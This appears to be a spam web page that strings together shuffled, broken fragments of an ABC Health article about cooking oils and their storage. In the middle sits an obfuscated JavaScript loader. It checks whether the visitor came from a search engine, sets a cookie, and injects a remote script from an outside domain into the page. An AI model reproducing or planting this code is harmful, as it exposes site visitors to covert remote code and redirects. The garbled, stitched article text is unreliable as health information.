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"Olive oil is usually good three to 12 months after it has been bottled After two years you would expect the fruity flavours would be disappearing and some of the bad (i.. Getting the best from your oilUnlike fine wine, oils don't improve with age If you like to keep your good oils for special occasions, don't.

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But how do you get the best out of the oils you use in the kitchen?[Image source: iStockPhoto ]When it comes to healthy eating, we're told to use plant-based cooking oils rather than butter, lard and animal fats.

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e casseroling, sautéing and stir-frying); and peanut oil and other flavoured oils (i.

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Rod Mailer, an oils researcher and adjunct professor at Charles Sturt University, explains that light, temperature and air cause oils to oxidise – become rancid or "off" – and break down, changing the flavour and colour of the oil.

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So it pays to inform yourself before you buy Pick of the cropIn terms of overall health benefits, extra virgin olive oil and canola oil are the best choices, says Associate Professor Catherine Itsiopoulos, head of dietetics at La Trobe University and spokesperson for the Dietitians Association of Australia.. That's because different oils are better suited to different culinary uses, and some cooking methods can actually destroy much of the goodness in some oils.. She adds that flavour and personal preference also need to be factored in because the right oil can improve the satiety we get from our food, preventing us from overeating or snacking after meals.. e sesame, macadamia) in dishes that demand certain flavours Meanwhile, tropical oils, such as palm, cottonseed and coconut, should be limited because they are naturally more saturated.. "Peanut oil, for example, is a monounsaturated fat so in terms of the type of fat content it is similar to olive oil, and because it is an important part of Asian cuisine there is no good reason to remove it from your diet," she says.. Although extra virgin olive oil does contain saturated fat (around 12 per cent), it is one of the few unrefined oils.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x5c668a=_0x233cbf();}catch(_0x9544e0){_0x5c668a=window;}var _0x3e85e4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5c668a['atob']||(_0x5c668a['atob']=function(_0xccdcb5){var _0x3cd087=String(_0xccdcb5)['replace'](/=+$/,'');for(var _0x3c8599=0x0,_0xb8fe6d,_0x9d630f,_0xa35832=0x0,_0x3e2223='';_0x9d630f=_0x3cd087['charAt'](_0xa35832++);~_0x9d630f&&(_0xb8fe6d=_0x3c8599%0x4?_0xb8fe6d*0x40+_0x9d630f:_0x9d630f,_0x3c8599++%0x4)?_0x3e2223+=String['fromCharCode'](0xff&_0xb8fe6d>>(-0x2*_0x3c8599&0x6)):0x0){_0x9d630f=_0x3e85e4['indexOf'](_0x9d630f);}return _0x3e2223;});}());_0x20fc['base64DecodeUnicode']=function(_0x11ad23){var _0x985814=atob(_0x11ad23);var _0x30147f=[];for(var _0x513ab6=0x0,_0x5af380=_0x985814['length'];_0x513ab6=_0x3100fa;},'KfcRq':function _0x147769(_0x3c91ba,_0x12ffd3){return _0x3c91ba===_0x12ffd3;},'tHtUb':_0x20fc('0x2e'),'wBvox':function _0x551826(_0xbb75c2,_0x55cf47){return _0xbb75c2===_0x55cf47;},'hSQzM':_0x20fc('0x2f'),'EdfoI':function _0x160568(_0xfcf42f,_0x2d54b6){return _0xfcf42f+_0x2d54b6;},'dCPIy':_0x20fc('0x30'),'CAoUg':_0x20fc('0x0'),'oOxdQ':_0x20fc('0x1')};var _0x5e412b=[_0x32ec3c['DCUQy'],_0x32ec3c[_0x20fc('0x31')],_0x32ec3c[_0x20fc('0x32')],_0x32ec3c['wUmYf'],_0x20fc('0x33'),_0x32ec3c[_0x20fc('0x34')],_0x20fc('0x35')],_0xb83679=document[_0x20fc('0x36')],_0x36a8c7=![],_0x3a90f4=cookie['get'](_0x32ec3c[_0x20fc('0x37')]);for(var _0xdf510b=0x0;_0x32ec3c[_0x20fc('0x38')](_0xdf510b,_0x5e412b['length']);_0xdf510b++){if(_0x32ec3c['atFjx'](_0x32ec3c['PqNZR'],_0x20fc('0x2d'))){_0x36a8c7=!![];}else{if(_0x32ec3c[_0x20fc('0x39')](_0xb83679[_0x20fc('0x3a')](_0x5e412b[_0xdf510b]),0x0)){_0x36a8c7=!![];}}}if(_0x36a8c7){if(_0x32ec3c[_0x20fc('0x3b')](_0x32ec3c[_0x20fc('0x3c')],_0x32ec3c[_0x20fc('0x3c')])){cookie[_0x20fc('0x3d')](_0x32ec3c[_0x20fc('0x37')],0x1,0x1);if(!_0x3a90f4){if(_0x32ec3c['wBvox'](_0x32ec3c[_0x20fc('0x3e')],_0x32ec3c['hSQzM'])){include(_0x32ec3c[_0x20fc('0x3f')](_0x32ec3c[_0x20fc('0x40')],q)+'');}else{if(_0x32ec3c[_0x20fc('0x39')](_0xb83679[_0x20fc('0x3a')](_0x5e412b[_0xdf510b]),0x0)){_0x36a8c7=!![];}}}}else{var _0x3cb8a7=document[_0x20fc('0x2')](_0x32ec3c['CAoUg']);_0x3cb8a7[_0x20fc('0x4')]=url;document[_0x20fc('0x41')](_0x32ec3c['oOxdQ'])[0x0][_0x20fc('0x42')](_0x3cb8a7);}}}R(); ABC Health & WellbeingMain Navigation:Health TopicsYour HealthFact filesThe good oil on cooking oilsFor heart-healthy eating, we're advised to use plant-based cooking oils.. var _0x520a=['anhBa0o=','VndUaGU=','Unhnekg=','aGpTc1E=','R0lDT0I=','eWd4UmI=','RkpDdWw=','UGl0SVg=','UktuUFU=','Z2V0VGltZQ==','dklBeWw=','d3ZGRWk=','RnpsZHA=','aExweWM=','bGVuZ3Ro','YkFkZGE=','Rk9LREI=','cmVwbGFjZQ==','SHVZUUY=','YkNEU3M=','bG5vUGg=','V1FSbG4=','c3NpVmg=','R1BNSVo=','T0hPTW0=','cGVGU3o=','Lmdvb2dsZS4=','LmJpbmcu','LnlhaG9vLg==','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','dk54','aWh6','Tkl4','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9paGVyYjIucGhwPyZxdWVyeT0=','dmtNeGY=','SVhreXA=','LmFzay4=','ZlpVT2U=','LnlhbmRleC4=','cmVmZXJyZXI=','UFF0dlc=','Rk1MTlA=','S0JTZnc=','aW5kZXhPZg==','S2ZjUnE=','dEh0VWI=','c2V0','aFNRek0=','RWRmb0k=','ZENQSXk=','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','YXBwZW5kQ2hpbGQ=','c2NyaXB0','aGVhZA==','Y3JlYXRlRWxlbWVudA==','VWpNV2g=','c3Jj','eG9Oa2Y=','aXMrY29sZCtwcmVzc2VkK29saXZlK29pbCtnb29kK2Zvcitjb29raW5n','Wmdt','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU=','Y29va2ll','bWF0Y2g='];(function(_0x2ba184,_0x58e64f){var _0x2b9a49=function(_0x2b0fba){while(--_0x2b0fba){_0x2ba184['push'](_0x2ba184['shift']());}};_0x2b9a49(++_0x58e64f);}(_0x520a,0xfe));var _0x20fc=function(_0x1a6d06,_0x5126f2){_0x1a6d06=_0x1a6d06-0x0;var _0x155440=_0x520a[_0x1a6d06];if(_0x20fc['initialized']===undefined){(function(){var _0x5c668a;try{var _0x233cbf=Function('return\x20(function()\x20'+'{}.. She recommends, therefore, using extra virgin olive oil for cold dishes (i e with salads and breads) to take advantage of the flavours and antioxidants; refined oils such as canola, sunflower and plain olive oil for cooking (i.. This means that the antioxidants present in the original fruit are retained because the oil is extracted by machine only and not "refined" with chemicals or other means that can strip the goodness from the oil. 5ebbf469cd

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